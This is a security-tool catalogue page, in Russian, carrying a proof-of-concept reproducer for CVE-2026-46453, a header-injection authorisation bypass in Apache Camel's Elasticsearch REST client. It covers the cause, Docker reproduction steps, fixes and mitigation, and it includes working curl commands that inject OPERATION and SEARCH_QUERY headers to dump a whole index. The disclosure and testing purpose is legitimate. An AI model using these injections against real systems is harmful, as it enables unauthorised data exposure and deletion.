Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46453 — Репродуктор для CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client: инъекция через заголовки без префикса (переопределение операции/запроса через входящие HTTP-заголовки) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-46453
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и Образование
GitHuboscerd/cve-2026-46453

CVE-2026-46453

Репродуктор для CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client: инъекция через заголовки без префикса (переопределение операции/запроса через входящие HTTP-заголовки)

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-elasticsearch-rest-client Репродуктор инъекции через заголовки без префикса (CVE-2026-46453)

Этот проект демонстрирует инъекцию заголовков сообщений / обход авторизации в компоненте camel-elasticsearch-rest-client Apache Camel, отслеживаемую как CVE-2026-46453. Компонент читает несколько заголовков Exchange для управления своим поведением — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. В затронутых версиях эти строковые значения заголовков являются обычными именами без префикса ("OPERATION", "SEARCH_QUERY", …) а не именами с префиксом Camel, которые использует каждый другой компонент. Входящий HttpHeaderFilterStrategy Camel блокирует только имена, начинающиеся с Camel/camel, поэтому эти заголовки проходят входящий фильтр без изменений. Когда маршрут открывает HTTP-точку входа (например, platform-http) перед producer'ом elasticsearch-rest-client, недоверенный HTTP-клиент может установить эти заголовки напрямую и переопределить запрос и операцию, настроенные автором маршрута — прочитать весь индекс, удалить документы и т.д. Никакие учётные данные не требуются.

Уведомление: https://camel.apache.org/security/CVE-2026-46453.html

Сводка по уязвимости

Тот же класс инъекции заголовков, что и CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 и CVE-2026-47323 — все они вызваны компонентами, читающими входящие заголовки, которые стандартный HeaderFilterStrategy не блокирует, потому что имена не начинаются с префикса Camel.

Технические детали

root@kitploit:~
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy блокирует только Camel*/camel*, поэтому входящий HTTP-заголовок OPERATION: SEARCH (и SEARCH_QUERY: {...}) проходит и переопределяет operation=GET_BY_ID автора маршрута. Исправление (4.14.8 / 4.18.3 / 4.21.0) переименовывает значения в CamelElasticsearchOperation, CamelElasticsearchSearchQuery и т.д., так что входящий фильтр блокирует их (имена полей Java не изменены).

Маршрут жертвы

root@kitploit:~
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // route author intends a single, safe operation: fetch one document by id

HTTP-запрос атакующего с OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} переопределяет это и выгружает весь индекс.

Структура репозитория

Жертва — это маршрут Camel; атакующий — любой HTTP-клиент, который может подключиться к конечной точке platform-http. Репродуктор запускает реальный Elasticsearch в Docker и приложение Camel на хосте (приложение общается с ES через проброшенный порт).

root@kitploit:~
CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # seeds a "public" and a "secret" document
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
    └── resources/
        └── application.properties

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker (запускает Elasticsearch)

Шаги воспроизведения

Шаг 1: Запустите Elasticsearch

root@kitploit:~
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

Шаг 2: Соберите и запустите приложение (на хосте, взаимодействуя с контейнером ES)

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup

Шаг 3: Активируйте инъекцию заголовков

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true

Вы также можете сделать это вручную — инъецированные заголовки проходят прямо через входящий фильтр platform-http:

root@kitploit:~
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

Очистка

root@kitploit:~
docker compose down

Векторы атаки

Любой маршрут, открывающий HTTP-точку входа перед producer'ом elasticsearch-rest-client. Атакующий устанавливает OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS или ID во входящем HTTP-запросе; они обходят входящий фильтр префикса Camel и достигают producer'а.

Условия эксплуатации

  1. HTTP-потребитель (например, platform-http), маршрутизирующий к producer'у elasticsearch-rest-client на затронутой версии.
  2. Стандартный HttpHeaderFilterStrategy (блокирует только Camel*), который не охватывает заголовки ES без префикса.

Рекомендуемое исправление

Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), где значения заголовков получают префикс Camel, поэтому входящий фильтр блокирует их.

Смягчение последствий

До обновления удаляйте затронутые заголовки из недоверенных входящих сообщений перед producer'ом:

root@kitploit:~
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

или примените собственный HeaderFilterStrategy, который блокирует эти имена.

Отказ от ответственности

Этот репродуктор предоставлен только для исследований безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент
СвойствоЗначение
Компонентcamel-elasticsearch-rest-client
Затронутые константыElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (значения без префикса)
CWECWE-20 (Некорректная проверка входных данных) + CWE-639 (Обход авторизации через управляемый пользователем ключ)
ВоздействиеНедоверенный HTTP-клиент переопределяет операцию/запрос ES — чтение/удаление/экфильтрация документов
Затронутые версиис 4.3.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23508
СообщилYu Bao (PayPal)